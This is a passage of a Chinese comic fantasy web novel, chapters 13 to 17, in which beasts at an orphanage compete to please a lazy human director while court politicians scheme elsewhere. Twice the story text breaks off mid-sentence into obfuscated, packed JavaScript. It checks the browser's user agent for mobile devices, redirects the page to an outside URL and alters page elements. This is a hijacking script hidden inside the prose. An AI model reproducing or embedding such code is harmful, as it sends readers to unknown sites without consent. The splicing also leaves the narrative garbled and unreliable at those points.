龙兽状似不经意的摔在一片茂密的草地里,两眼一闭,重伤未愈。周围安安静静,只有身下的草挠得他浑身发痒。但它忍得住,一动不动等鱼上钩。 没一会儿,一只红黑红黑的小虫怯生生的伸出两根触须,发出文静内向,怯生生的小女孩儿声音,“你、你还活着吗?” 小萤认识,这是隔壁山的巨龙兽,实力很强,将那一块儿都划分成了自己的地盘,喜欢独来独往,讨厌和任何兽一起生活。但是它只是一只小小的虫,随便一个草丛就是它的容身之处。 这些大型兽,根本就不把它放在眼里,偶尔也会出手庇佑。它看见龙兽倒在这里,本来是害怕的,但是看他一动不动又有点担心,思前想后还是决定出来看看。 虽然它也做不了什么,但是可以确定巨龙死了好搬家。 目标对象终于出现,巨龙鼻息微弱,“山下……山下来了个、狠角儿。” 小萤:“?” …… “事情、就是这样了。” 龙兽告诉它保育院新来了个院长,三头六臂邪恶无比,而且实力强横,手段狠辣。一来就拿它开刀,打了个半死又锁进笼子里。这都是被关了五天后,趁人不注意逃出来的。 它还听见那个新来的院长在和自己收的三个邪恶小弟说,半个月能将踏平整个山头,除了自愿归顺他的,剩下的所有兽全杀了,一个不留。 小萤停靠在桌子上,四双眼睛齐齐把它望着,它想逃都找不到方向,无助求饶,“所以,我自己来的,就不用死了吧?” 舒泽两手拖着交叠放在桌上垫着下巴,歪头,让眼睛从刘海缝里露出来,“你会说话。” 小萤尴尬的晃了晃翅膀,“这是我的异能,我还有一个伴生技能,可以感知每天的时间变化,但是好像也没什么用……” “不,很有用。”舒泽拍案而起,“你被聘用了!” 小萤:“啊?” 聘、聘用? 熊铁锤和小灰慌忙起身,把被舒泽怼飞出去的椅子拖回来,“院长小心!” 舒泽跟入水的面条似的,一下子就软倒进椅子,柔弱扶头。 啊,好累。 小灰尾巴举得高高的扫来扫去,“啊,好险~”差点就让院长坐地上去了。 熊铁锤也松了口气,好险,差点就要废老大的劲把院长从地上拖回去了。 皮皮成熟稳重的掏出饲养手册,拿着笔是有那么个范儿,“来吧,填一下入职表。” “????” 小小的虫大大的害怕,小小的脑袋大大的疑惑。 某黑心老板口头表赞,“加油,我很看好你。” 本来只是个最不起眼的小虫,抱着早死晚死,不如自己找死的心态来。结果没死,还被传说中的魔王院长夸奖了。 虫虫说不上来心里是什么感觉,但总有点热泪盈眶,浑身充满了力气,想绕着房子飞上三圈的冲动。 “您放心,我一定会好好干的!” 它下一句声音又小了下来,极其不自信,“可是,我能干什么啊?” —— 休假结束,龙兽迈着轻快步伐回来上班。 你说每天都要住在铁笼子里当电灯泡,它接受不了。但你要说上四休三,上三休四,它一下就接受了。 一想到被骗来上班的虫,它就通体舒畅。甚至还主动和小灰打招呼,“哟,臭崽子又变肥美了啊。” 看起来口感更好了。 小灰抱紧自己的尾巴,竖起飞机耳,“院长说、说了,禁止吃同事!” 巨龙:“哼。” “除了你们三个以外,还真以为有兽把它当回事啊?” 他已经把舒泽的恐怖名声放了出去,到时候肯定有很多听见风声的兽来找事儿。虽然不知道对方使用了什么高科技的手段,幻化出那么厉害的兽形,但它一个兽打不过,那一群还打不过了?哼哼,到了那个时候…… 说着说着,某处传来一声清脆的“叮咚~” 小虫从屋檐下新安装的小房子爬出来,饱满热情但音量小声喊到:“欢迎、光临~” “现在是早上10:08分,院长正处于深度睡眠,请降低说话音量,保持安静。” “呀!”小灰用尾巴塞住自己的嘴儿,圆眼睛提溜提溜的转,瓮声瓮气,“我去地里帮忙了。” 龙不理解,但龙知道降低音量,“不是儿,你这是干哈呢?” 小虫声音虽小,但掩藏不住志得意满,“我在上班呀,这是我的工位。” “院长说了,我很重要放不了假,所以我得在这里常住。如果呆得不开心的话可以去附近草丛里面躺一趟,但是有兽或者人来的时候要过来播报。” “……你很重要,放不了假?!” 小声着小声着,还是没忍住越说越大声,甚至高音劈了个叉。 睡得正香的舒泽皱了皱眉,蛄蛹蛄蛹,整个脑袋往下沉。 封印—— 我听不见……我听不见…… “不是!凭什么啊,你到底哪里重要了啊?!” 听——听见了! 舒泽丧丧的张开眼睛,深色瞳孔漆黑一片,浓浓的黑气张牙舞爪的往外冒。 没睡醒…… 想鲨人。 龙兽破防了,“你再说一遍,谁更有用?”那巨大的嘴巴张张合合,鼻孔一开~一合~,小虫害怕被吸进去当鼻屎,几只脚都扣 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它越说,小虫就越自卑。头上的触须失落低下,默默退回小房子缩进阴暗角落。 丧批沉默的把额前头发往后一撩,黑沉沉的眼平静一望,满心不服委屈的小龙骤然一抖。 不儿、它怎么嗅到了危险的气息。 舒泽嘴角勾起弧度,和长相完全不符的王霸戾气危险四溢,他语气冰凉,“你谁?” 竟、然、敢、吵、他、睡、觉。 舒泽的眼神,深如光亮无法到达的极深的寒潭,那丝毫不做掩饰的杀心,显得那晚带着虚影实力碾压的他都随和了好多。 兽兽胆颤,撇着的外八小腿儿有点立不住,“我、我我我。” 抖着抖着,它还又抖出点委屈,“凶什么凶啊!” “明明是我先来的,我先来上班的。现在有了新欢就忘了旧爱是吧?” “当时是谁拿着我尾巴不放的,现在就我是谁啦?” “你早时候不是这样说的啊,还问我是谁!” 小鸟那一把网恋可以迷死万千少女的嗓子,颤音环绕,活像是被渣男骗身又骗心的单纯无辜小女孩儿。 噼里啪啦一大串,愣是给舒泽哄懵了。 “……” 撩上去的头发从两侧慢慢滑落,重新当起面帘子,也轻轻关上了暴虐的心。 舒泽丧中带着一丝绝望,“你回去吧,你别干了。” 这般沉重的“感情”他要不起,需要哄的兽他玩儿不起。两厢情悦的事情没必要弄得那么难看。 “凭什么?!”龙兽更气了,“就因为它,你不要我了?” “它能做到的我都能做到,凭什么你要它不要我?” 丧批没睡醒,丧批拒绝回答。 龙兽得不到自己想要的回答,恶狠狠的刮了眼出来观察局势的小虫一眼,“你给我等着!” 它会证明,到底是谁。 更有用——新的战争开始了…… 悉索……悉悉索索…… 草丛里的灰色身影一闪而过。 13. 第 13 章 小小的鼠兔在山林中矫健穿梭,一口气跑回自家地盘,“老大!老大!” 水潭咕嘟咕嘟冒几个泡,两个大大的鼻孔浮出水面。 苏尔还在煽动,满脸阴险狡诈又谄媚,“龙兽说的都是真的,那个人类是极为可怕的存在。我能力实在有限,这才来寻求您的合作……” “老大!老大!”鼠兔蹦着蹦着入场,看见苏尔的大猫脸一整个弹射后退,小胡须抖啊抖,戒备心拉满。毕竟,它还不想当嘎嘣脆的薯条。 原来也没在院里见过这只猫,它和老大生活在这块儿水潭附近,它上来就说什么兽族存亡,共商大计。 看起来就颠颠的,保不齐发疯把自己叨了。 苏尔舔舔唇,强迫自己压下一些原始的欲望,自信满满问道:“怎么样,你看见那个人类奴役龙兽的样子了吧?” “我都说了,那个人类是整个兽族的灾难和危机,如果现在我们不联合起来,等他逐步击破,一切都晚了!” 自打它发现舒泽实力不俗后,立马选择离开,并在龙兽身旁煽风点火,让他去找舒泽的麻烦。 但没想到,舒泽实力居然那么强悍,不知道用了什么没见过的高科技手段,短短几招就把龙兽制服。 但是没关系,一个不行,还有一群。 它就不相信,整个保育院厉害的兽加起来,还打不过舒泽他一个人! 正当苏尔做着挥令而起,群起攻之,将舒泽说摁进坑里的美梦时,鼠兔细细小小的声音响起,“没、没有。” 苏尔嘴角的迷之微笑倏然僵住,站起来凶凶的盯着小鼠条,“你说什么?” “怎么可能?!” 舒泽不欺负兽?除非太阳打西边出来! 不对,除非用它砸出来那几个坑原地消失! 苏尔表情逐渐扭曲。 “嘤~”可爱小鼠条心疼的抱住自己,哭腔,“龙兽一直都在抢着干活。” 苏尔:“……?” “我亲耳听见,它喊那个人类院长,人类让它走,它还不乐意,说要证明自己的能力。” 这话听得苏尔尾巴尖尖的毛都炸开,浑身起鸡皮疙瘩,“???” 不是,哥门儿。我也没发现你喜欢这一口啊? 哗啦啦—— “咚——” 体型巨大的河马从水潭里站起来,巨掌踏上干燥的土地,声音沉如战鼓,“听起来,和你说的完全不一样啊。” 巨大的阴影笼罩,赤裸裸的示威和不信任。苏尔忍着打架的冲动,烦躁的说道:“我要不知道为什么会变成这样。” “但这里面肯定另有隐情!” 苏尔还在思考,到底是哪个环节出了问题,根本就没有注意已经悬停在头顶上方的巨掌。 “这样,等我亲自下去查验——验验验!卧槽!你干什么!” 湿漉漉的脚掌带着潭底的臭淤泥落在苏尔的毛上,还没等它反抗,液压机一般的实力,直接将它踩扁。 河马顶着老实呆萌的外表,又抬起来狠踩了两脚。 地上又形成了一个小小的凹地。 鼠兔被震得跟着节奏跳了几下,鼠鼠懵懵,“老、老大?” 河马哼了声,“它们这些猫,心眼子多得吓人。” 当它是傻子呢? 要是那个人类真有它说的那么邪恶,为什么龙兽还要主动讨好?分明就是有利可图,才会这么做。 但是这一脸奸诈的猫居然还挑唆它去找茬,必是没安好心。 它甩着短短的尾巴,“走,我们也去院长那边看看。” “万一去晚了,机会都被别的兽抢了怎么办?” 鼠兔恍然大悟,“还是老大聪明!那我们赶紧去吧。” 在坑底呼吸不畅的苏尔:聪明你个爆米花啊! 那么大个兽,脑子到底是怎么长得?不会是外表看着大,其实一点核都没有的傻缺吧? 兽去讨好人?人能给兽什么好处?我看你是真饿了! 但是没关系,失去这种傻子算不得什么损失,这个院里可用的兽还有那么多,它还有很多聪明的选择。 巨掌挪开,已经变成一摊猫饼的苏尔在心底安慰自己。桀桀桀的抽笑,像吹气球似的又把自己蓬起来。 刚伸个爪子去抓坑缘,缓慢走了两步的河马,又后腿儿迈前脚跟的倒了回去。 巨影袭来,即刻绞杀。 苏尔:“!!!” 蹦蹦跳跳跟着走的小鼠,“?” “老大,我们不去啦?” 不知不觉间已经换了身粉色皮肤的河马,砸吧砸吧大嘴,“还是下雨的时候再去吧。” 河马,著名水路不两息动物。 在水里泡久了,无法呼吸。在太阳底下待久了,会晒伤。 在大太阳的时候离开水源,要兽命。 小鼠无所谓,它全都听老大的,“好哦~” 被牢牢压在掌下,快要断气的苏尔:好、个、屁。 再说一遍,我!讨!厌!坑! 有道是,隔墙有耳。 苏尔三兽的交谈全都被荡在树枝上的大嘴猴听了个正好。它的尾巴卷在树上,急头白脸的对着自己毛茸茸的脸一通挠。 它们保育院来了新的院长? 不仅龙兽去讨好了,现在河马也忙着去? 肯定有好处…… 大嘴猴脑瓜子一转,这是个大消息啊!肯定可以换很多香蕉! “呀吼~” 大嘴猴兴奋抓着枝条荡走了,不到半天,大半个保育院都知道了。 山脚下来了个很厉害的人类,他要在所有兽里面选出一只兽当院长,现在已经有不少厉害的兽都赶过去帮忙了。 有那么几个不相信的,决定自己去看个究竟。 然后就看见—— 龙兽后脚发力,把自己撑起来,前掌猛的一个砸地,已经松过的土地,就多出了两个坑。 铁锤带着俩兄弟在旁边啪啪鼓掌,“好!很好!非常好!” “这两垄都开得非~常的直,相当漂亮~” 龙兽骄矜的甩着脖子翻白眼,“哼,这才哪儿到哪儿?” 它提高音量,“我都说了,我!很!有!用!” 三个气氛组很配合的节奏拍手,“棒!好棒!你最棒!” 谁说幼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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龙兽的破防劲儿还没有过去,说什么都要证明是自己更有用,咋呼咋呼的嗓门直冲云霄。 尾巴的大火差点没把露天厨房给烧了。 熊铁锤隐忍又无奈还带点奶的声音掺杂其中。 “你开那么大干嘛……会糊的……” “我叫铁锤!锤!不要乱改我充满力量感的名字!” 小萤尽职尽责飞到争吵中心,一点都不畏惧的发出警告,“院长正在睡午觉,请你们保持安静。” “现在是下午四点五十分,院长还有一个小时十分钟吃晚饭,请尽快准备。” 爆爆龙的火连带着嗓门一起小了起来,但怨念丝毫不消减,“你谁啊你,就搁着教训我?” 说着说着不解气,一只白团子直接飞出来,在众兽惊悚的目光中,追着小萤啄,“谁有用,到底谁有用?我让你说……” 小灰扛着芭蕉叶啪嗒啪嗒跑过来,轻轻的叉在摇椅上,遮挡住了有些刺目的光,但又不耽误舒泽晒太阳。 风吹晃动,带着芭蕉叶的清香。光影交织,像极了曾经洞穴门口种了很多年,但只接过一次果的香蕉树。 舒泽刚刚升起的一点动力,瞬间消散。等他再好好休息一段时间,一定一定一定去找他哥。 嗯,一定。 暗自打探的兽们都看呆了,原来大嘴猴说的是真的!而且还更夸张,为了讨好那个人类,兽兽们都打起来了! 14. 第 14 章 翌日,午时 睡到自然醒的舒泽裹着被子惬意的蹭了蹭,头发凌乱四散,露出白里透红的脸颊。 他把脑袋往被子里一缩,试图通过缺氧的方式把自己闷晕过去,以此实现赖床的目的。刚闷上,舒泽心脏一跳,隐约躁动。 没有小鸡争宠的声音,没有铁锤邦邦邦敲着铁勺让大家不要偷懒的问责。很安静,但空气中却漂浮着躁动的危险因子。 沉闷,凝结。 暴风雨前的宁静。 舒泽蛄蛹蛄蛹的翻身,冒出俩眼睛。薄薄的门板外,或许正在酝酿一场巨大的风暴。 但那有什么关系呢?反正又死不了,要死也是死对方。 他慢吞吞的坐起来,顶着一头鸡窝下床。瘦削单薄的背,又长又直的腿儿,光滑白皙见不到一丁点汗毛。又怏又丧的样子,活像一个永远睡不够,想要报复全世界的高中生。 浑身散发着乖巧又无害的气息。 他拉开门,一张毛茸茸的大脸怼在眼前。近在咫尺,呼吸交缠。对方龇开大嘴儿,谄媚一笑,“院长您好。” “嘿、嘿嘿嘿~” 舒泽沉默的望着那张大嘴,看见了牙缝间残存的黄/色香蕉。他面无表情的后退半步,用上五层力,“啪——”的一声把甩上。 力道太重,不堪重负的门板脆脆歪斜,整个单薄的板房晃成三级地震。躲在保安亭的小虫被震出来,好险落进了铁锤的圆耳朵,揪着毛没有滚地上去。 刚刚还龇着大牙嘎嘎乐的大嘴猴,红成了屁股的同款色,唯一区别就是,屁/股是翘的,它的脸是扁的。 …… 破门前 舒泽坐在自己的专属躺椅上,身边是三小只外加躲在崽耳朵里的保安虫。 与之对面的,是乌泱泱围了三四圈的兽。小到真老鼠,大到粉红河马(?),朴实无华到平头哥,绚丽夺目到公孔雀。物种多样,应有尽有。衬得中间坐着的院长并三个小马仔是那么的娇弱无依。 就是当兽兽们的盘中餐,碎得乱七八糟都不够一兽叨一口。 今天早上,突然来了一大堆兽,三只崽害怕极了。还好有保安虫严厉禁止了众兽的吵闹行为。 院长还在睡觉,谁也不能打扰。一只小小的虫,很多兽那当然是不服的,但笼子里还蹲了只龙兽啊! 不敢轻举妄动的兽兽们,席地而坐,就那么开始了漫长的等待……但是现在舒泽出来了,平衡就打破了呀。三崽怂怂的窝在舒泽身后,怕到集体飞机耳。 而被包围的舒泽,翘着二郎腿,单手保膝,语调诡异,“你把你刚刚说的,再重复一遍。” 从平面恢复立体的大嘴猴儿点头哈腰,抠抠自己的红屁股,“我们都是来竞选的。” 虽然这个瘦弱的人类和传闻中大开杀戒,血洗整个保育院的凶猛形象不沾边。但毕竟是收复了喷火龙的人,大嘴猴不明白对方想干啥,但不妨碍它听话。 “现在大家都知道了。您公务缠身,要事繁重。要从院里挑个最厉害的当代理院长。你说那么大的事情,肯定是要积极响应号召啊。” 猴手一挥,“整个保育院的来了大半,会说的站前面,不会的站后面。” 它挺起胸膛敬礼,猴脸一肃,“您放心,我会承担起我应尽的指责,当好人/兽之间的沟通传声筒、翻译器。” 那骄傲的模样,就差胸前飘扬起骄傲的红领巾。 各种各样的兽投来胆怯兴奋得目光,舒泽再次陷入久久沉思。 他是什么时候当上院长的? 他什么时候公务繁忙了? 他什么时候要找个代理院长了? 但是现在澄清的话……好累哦。大家来都来了。 铁锤不解的挠头,“这是啥时候的——” 皮皮一巴掌轮上他的嘴,淡定道:“少说,多听。” 虽然不知道大家误会了什么,把舒泽当成了很厉害的人。但如果这个误会解开,那他们都不能活了。 熊铁锤眼含热泪,虽然无法理解好朋崽的深意,但他已经痛得顾不及说话了。 “皮。” 山崩于面前而不改色的卡皮巴拉帅甩着高速运转的耳朵进入视野,“院长。” 欣然接下剧本的舒泽:“你登记一下。” 来都来了,那就顺便安排呸、干干自己的工作。 登记什么? 大家清澈的目光转投向曾经那个兽兽排挤的人形幼崽,见他站在院长旁边,担以重任,都羡慕不已。 它们现在都知道,院长是上头派来的厉害人物,手上有可以毁灭整个保育院的大规模杀伤性武器。若是惹了他不高兴,他会把兽兽全吃掉!而且还因为上头有人,根本就不会受到任何处罚。 反之,只要讨好了他,以后到年龄出去混社会的时候就不用担心被欺负。 这三只被兽排挤的幼崽,命真好啊…… 灼热的目光下,皮皮的耳朵甩得更快了。这次的停顿好像比以往都要漫长,不像是缓冲,像是直接卡宕机,“……好的,院长。” 他虚着腿儿往前迈出一步,铁锤和小灰眼疾手快的把崽架住,“oi!” 皮皮挺起背,两只手掐着好朋崽,“扶我过去。” 痛到变形的小灰,“好、好的。” 少说,多听。 他不想挨大嘴巴子。 皮皮一步一步,走得坚定走得体面。这种时候,他的软弱和害怕不能在外兽面前流露一丁点。 这个家,由它守护。 舒泽懒丧丧的看着他们仨,不太确定大家拿到的剧本是不是一样的。 三只小崽不知道内情,只以为舒泽是侥幸从龙兽脚下逃脱,然后这龙兽又疯了似的要展现出自己的能力。但听过谣言初始版本,又被谣言plus版加深洗脑的小萤,大胆飞出来维持秩序。 “请大家到那边去有序排队,不要追逐打闹,也不要乱吃同事。” 黄鼠狼默默把嘴里含着的鸡/头吐出来。 舒泽满意点头,对安保组的工作表以十足的赞扬。 这一举动深深刺激到躲在旁边生气揪草的龙龙了。它双眼一红,举着烧得旺旺的尾巴挥开挡道的兽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14659865|156700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,撇着外八小碎步气呼呼的冲到舒泽面前,“你就是那么对我的?” 一脸无辜的舒泽:“?” 龙看他那样子更来气了,“我这些天,为你做了那么多,你就一点、一点都看不见吗?” “你原先带那几个我就不说了,是我来得晚我没资格。”它酸了吧唧的说,“那个谁,我也不提,就当是我错了。但是你至于这样对我吗?” 问责掷地有声,沉默无线蔓延。 刚来的兽们,目瞪口呆。原来只知道,大家都争抢着讨院长欢心,但没想到已经到这一步了。 龙龙还在持续发挥,并逐渐滑向阴阳怪气的深渊,“哼,现在也更是了。又来了那么多新人,哪里还需得着我啊。” 它歪头别过脸去,但它那个脖子长度和眼睛分布,除非是把脖子打个结,不然怎么得都还是在直视。 一来就看到那么刺激的事情,所有兽兽大气不敢喘。看起来龙兽有点“恃宠而骄”,而接下来院长的态度就十分重要…… 是哄,还是责骂呢…… 他们能摸出龙兽的地位,也能捕捉一下和院长相处的方法。万一打起来,那就更好了! 毕竟他们谁也不知道这个看起来瘦瘦弱弱的青年,是不是真的厉害,有兽趟雷再好不过。 舒泽对上那留了条缝偷瞄的鬼祟眼,在众兽的期盼中微微张开嘴,丧得渣渣的,“你要这么想,那我也没办法。” 龙兽:“……” 众兽:“…………” 龙兽这次是真的生气了,他脖子还撇在左边,脑袋又弯到右边,两眼相望唯余失望。 叶的离去到底是风的追求还是树的不挽留?今日受的伤,到底是他的不在意还是它的不努力? 龙兽梗着奇怪的脖子,迈着外八,piapia后退。 舒泽淡定的挠挠脸,“今天的饭还没煮,是因为没有你生火吗?” 掌管厨房的铁勺神:“?” pi—a,高抬的左爪滑稽滞在空中,四目相对间龙兽原地蹦跶了两下,漫不经心,“我就知道这个家没了我不行。” 众兽:嚯~! 一句话就拿下了龙兽,院长实力竟恐怖如斯! 轻松打发走无理取闹的,舒泽半阖上眼,手指搭在扶手上轻敲。 一下子多了那么多兽,他该怎么安排? “这就是你们给出的解决方案?” 百人议会,阶梯座位。 台上的傅宴川轻蔑一甩,昨天还盖着机密印章的文件洋洋洒洒落了满地。 当着面色铁青的重臣面儿,悠然跨步,漫不经心的踩上地上的文件,纯白的纸张沾上脚底的灰尘,傅宴川捏着骨节,清润的声音轻而易举的传遍整个议会庭。 “恕我直言,都是垃圾。” 哗然四起。 “傅宴川,我看你是疯了!!” 谩骂不断,潮水涌没。 傅宴川独自站在对抗中心,如松柏青竹,风雪狂风不染分毫。曾经的宴川帝君独自面对天崩地裂,万兽同悲。如今恶意,不过云过无痕。 15. 第 15 章 “傅处长。”求同派的领袖今已双鬓花白,嘴角闲适的笑,如寻常老人般和蔼包容。但那双依旧闪着精光的眼,足以看出,他远不如看起来那么单纯无害。 他拄着拐杖,轻叩地面。动静不大,但前排坐着的人瞬间安静下来,如传染般层层后递,刚刚还吵成菜市场的议会厅落针可闻。 他如一个长辈教训晚辈,意味深长的说教,“宴川,你能力出众,年少高位,想做出点成绩来很正常。” “但有时候还是要量力而行,不要觉得和全世界对抗就是少年意气,是与众不同。这世间道理,无非东风压西风,西风压东风,你硬要站在那中间自成一派,过刚,则断呐。” 他叹息着摇头,好像真的在为晚辈的不懂事而惋惜。 在这个议会厅里坐着的人,盘根错节,不是伐异党就是他求同党的人。唯有这个傅宴川,不知道是从哪里冒出来的人。异军突起,略过了所有人,直接由皇帝任命,另起一个监察处,还由他担任处长。 曾经还带着温和友善的面具,耕耘自己的一亩三分地,从两党之间的缝隙捞点好处。 前段时间却不知道为何,倾力打压伐异党,他还在暗喜又能添一员大将。谁知,这傅宴川跟疯狗似的,遇谁咬谁。几场会议下来,公然挑事,不管提出什么议案,全都使用皇帝授予的,代替他执行的一票否决权。 虽然他们谁都没有把帝国皇帝放在心上,但架不住皇室行驶应有的权利,让这傅宴川站在这里指指点点。 一中年男子拍案而起,“傅宴川!徐老都这么给面子了,你可不要再一意孤行下去!” 徐……老? 傅宴川玩味儿一哼,在他面前称老的人早就死了个干净,这实在不是什么好称谓。 过刚则断?他傅宴川都敢于天斗,活到今日还能怕一介凡人? 他嘴角噙笑,随意一抬手,竟带着说不出风流雅致,“傅某得陛下之令,总是要守住底线的。” “不行就是不行,和什么西风东风的没什么关系。” “硬说起来,我这人最大的缺点就是厌蠢,说话太直接。” 说得冠冕堂皇,但在场的人谁听不出他的潜台词啊——我不是针对谁,我的意思是,在场诸位都是垃圾。 他往常不太爱说话,今日接连开口,大家才发现,原来这人如此不知天高地厚。 吸气声四起,连参议院地位最高的“二老”都差点没崩住。 “大家还是先管好自己分内之事比较好。我听说保育院最近动静很大,隐有自立为王的趋势。徐老从我手中把这件事抢过去,那总要担起责吧?到时候社会动荡,伤的可是您的威望和脸面。” “还有诸位,偷了别人的心爱之物,敢做就要敢承认。”傅宴川扫过众人神态各异的脸,冷若寒霜,“人狠起来,真的是什么事情都做得出来。” 说罢,竟谁也不管,迈开长腿大步离去。 众人面面相觑,徐老若有所思,终于有点摸清楚傅宴川的行为逻辑。 这是在震慑示威啊。 急切到选择那么笨、那么破釜沉舟的办法。他到底丢了什么东西?又是谁拿走了呢…… 徐老摸着拐杖上的龙头,“茂瑜。” “你去查查,傅宴川冒那么大的火,到底是丢了什么东西。” 男子领命,“是。” “哦,对了。”他抬了下手,“还有那个保育院,你去看看出了什么事,去处理处理。” 这地儿没什么政治价值,从傅宴川手里夺过来也不过是为了保证自己的权利完整性,他还没有闲到连这种小事都管的份上。 另一边的伐异党,一中年男子靠在陈老耳边,“这个傅宴川实在太嚣张了些,我们难道就任由他这样下去吗?” 他们损伤的利益可比对手多多了。 陈老在自己浑圆的肚子上抹了两把,目光闪烁,明显意动,“找找机会吧。” 傅宴川这个人,变数太大,不能再放任他继续成长了。 * 傅宴川冷着脸大步流星走出来,等得打瞌睡的手下连忙追上,“老大!” 傅宴川脚步不停,身上寒气未减,吐出的字儿都带冰碴,“什么事。” 手下搓着自己胳膊上起的鸡皮疙瘩,缩了下头,“没、没什么大事。” “就是你让我们做的排查已经完成,现在十二区连一只普通蚊子咱都登记在册了。” 傅宴川猛的停住脚步,下属一个前冲差点撞上去,正当他暗自感叹好险时,他那一脸遇神杀神的老大急切的追问就砸了下来。 “那里面有一只猫吗?橘色,但胸前的毛是白色的。很小一只,很可爱,叫声细细软软,眼睛很大很圆。” “它应该容易出现在什么桥洞小河边,可以晒到太阳那种。懒懒的,应该看见人懒得跑 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众兽环绕中的舒泽,接二连三的打喷嚏,一句话愣是被打断了四次。 小灰担心的抱出小毛毯盖在舒泽身上,大嘴猴眼疾手快的把人裹起来,一直裹到了抬起的下巴处。 龙兽若无其事的挪过来,把自己的尾巴甩过来。 舒·粽子·泽在火光的映衬下,红光满面。里三层外三层的兽全都高昂着头,如等神谕。 舒泽抬抬脖子,重头再画饼,“大家都是很好的兽,表现都不错。” “啪——啪啪——啪啪啪——” 掌声四起。 有手的拍手掌,四脚着地的就地翻身,主打一个都不闲着。没手的,就和旁边的相互配合,哥俩好的对对碰,融入鼓掌节奏中丝毫不突兀。 舒泽等大家兴奋完了,又搬出套话,“希望大家再接再厉,让我的视线为你停留。” 此话一出,兽兽们打了鸡血似的呱呱乱叫。 套话完毕,他略显艰难的转动脖子,忧伤的望向神情复杂的皮皮,“朝廷的赈灾粮什么时候下来啊?” 现在好多兽,他养不起哇。 皮皮:“……” 这些兽兽,真的不再多了解一下这个人,就那么轻而易举的崇拜上了吗? 16. 第 16 章 显然兽兽没有人那么多弯弯绕绕的心思。 虽然大家也不是很明白,为什么它们不可以联合起来反抗,反而那么听人类院长的话。但是来都来了,竞都竞上了,也不见得其他人有揭竿起义的念头。 而且,很奇怪的是。 舒泽身上有一种很奇妙的吸引力,让它们不自觉的想靠近。就像看见明亮火光的飞蛾,明知危险,但无法克制本能的欲/望。 他的一个眼神,一个鼓励,浑身血液都在沸腾。不单单是心理上的满足,更是生理上的渴望得到满足。就像荒漠里突然出现的绿洲,饿了三天终于看见的猎物。 那是生存上的渴求,想要但还未得到,近在咫尺的躁动。越是觉醒等级低的兽,这样的症状就更明显。 舒泽轻轻一招手,兽/群骚动,两只熊迈着激动且骄傲的步伐走上前,抬上椅子,在其它兽羡慕的目光中,真·雄赳赳气昂昂的伺候着舒泽进房间。 椅子平稳落在床边,舒泽一个打挺把自己甩上床,咕噜咕噜往里面一滚,早就准备好的大内总管,翘着毛茸茸大尾巴,在熊熊嫉妒的注视下,踮起脚尖帮陛下盖好被子,再勤勤恳恳的捏好被角。 这是“天子近臣”才能接手的工作,其他兽是羡慕不来的。 舒泽舒舒服服的窝在被子里,小声哼哼。 灰总管神色一肃,大灰掸子勾个弯,对着熊熊打手势。 快快快!!!陛下要就寝了,无关人员赶紧撤离! 小不点迈着短腿儿在前面捯饬,后面俩憨厚的大块头踮起脚尖,熊熊祟祟的跟着,前掌像手似的,娇俏的在旁边摆啊摆。 熊掌抬起烂掉的门卡在合适位置上,舒泽要已经沉入被子深处,睡得正香。 屋外,不死心的兽翘首以盼,希望能得到大内总管的传召,为陛下做点什么。灰总挥一挥手,还没过喝奶的年纪,手底下就跟了不少兽。 “咳,该干什么就干什么去啊。” “星期一到星期天的排班表都是列好的,大家都要按照规定时间来,擅自逗留造成场地拥堵,影响院长生活的,可都要扣分的哦。” 铁锤举着勺子叉腰,眼睛瞪得溜圆,我会一直……一直……看着你们的…… 此话一出就有好几只兽变得躁动起来,左看右看,刨刨土,恨不得把脑袋缩没。它们又不会说人话,只能在院长面前多刷刷脸,万一就被记住了呢。 这怎么还有扣分啊,兽生实在是太艰难了呐。 小灰,铁锤把控全场。长期工小萤低调缩回岗位,强行工龙龙骄傲的举着火把,岔着外八路过。 这些不知天高地厚的兽兽也不看看,它作用是有多大才留在这里的。它可是能烧烤的兽,和它比! 哼~ 场面一派祥和,只有秘书皮头晕目眩,真的没有兽觉得哪里怪怪的嘛! 这上赶着打白工的样子真的合理吗! * 四下安静,薄薄的门板挡不住大亮的天,明暗交织在房间勾出灰蒙的颜色。舒泽明明闭着眼睛在休息,但还是能听见外面细碎的声音。 小灰在叮嘱河马走路声音小一点,铁锤换上了新的粉色围裙,应该是抡上了新刀正在剁肉。 自打兽兽一窝蜂的涌来之后,三小崽开出来的地,那点活还不够分。大家自发开起了新一轮开荒,没事就干干活。晚上就在附近随便找个地儿,上树的上树,打洞的打洞。还有就地的,倒头就是睡。 河马这几天正忙着挖水潭,因为某些恶性竞争因素,只有一只会打洞的鼠兔在殷勤劳动,当前进度为,有个足球大小的凹。 大家都把声音放得很小,但舒泽就是能捕捉到那点点细微的动静,并在脑海中勾勒出完整的画面。 很累,但是脑子还在放幻灯片。 有兽开了门,悄悄潜进来。 舒泽看着脑子里的幻灯片,懒得动。 兽站在床头了,舒泽感受到了一丝丝危机,大概就像苏绣会把丝线劈成一百多分的那么一丝丝。 这可真的是太危险了,万分紧急中,舒泽动了动右眼 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曾经多佛系一个好孩子啊,曾经好朋崽都滚出二里地才伸脚拦的好孩子啊,滋滋滋的炸毛。 “我是想告诉你,一下子多了那么多兽,粮食不够吃了!” 突然起的劲,最怕空气突然安静。 “而且,昨天就该送来的物资,今天都没有看见影子。”皮皮严肃的说道。 前几天存粮就有些捉襟见肘了,但现在大半的兽兽都在这里,他也不担心到时候分发下来的物资到不了手。 结果,这个月直接没有物资!这么一大家子人吃什么啊! 皮皮将期翼的目光投向舒泽。虽然他平时懒得不行,但干起正事来,还是很靠谱的,指不定他早就有了应对办法呢? 舒泽眨巴眨巴,再眨巴,“呀……” 这可真是,难为凶兽了。 一躺一立,两两相望,唯余失望。 17. 第 17 章 皮皮两眼一黑,“你不会一点想法都没有吧?” 舒泽慢吞吞裹紧小被子,“也不是没有吧……” 皮皮站直了。 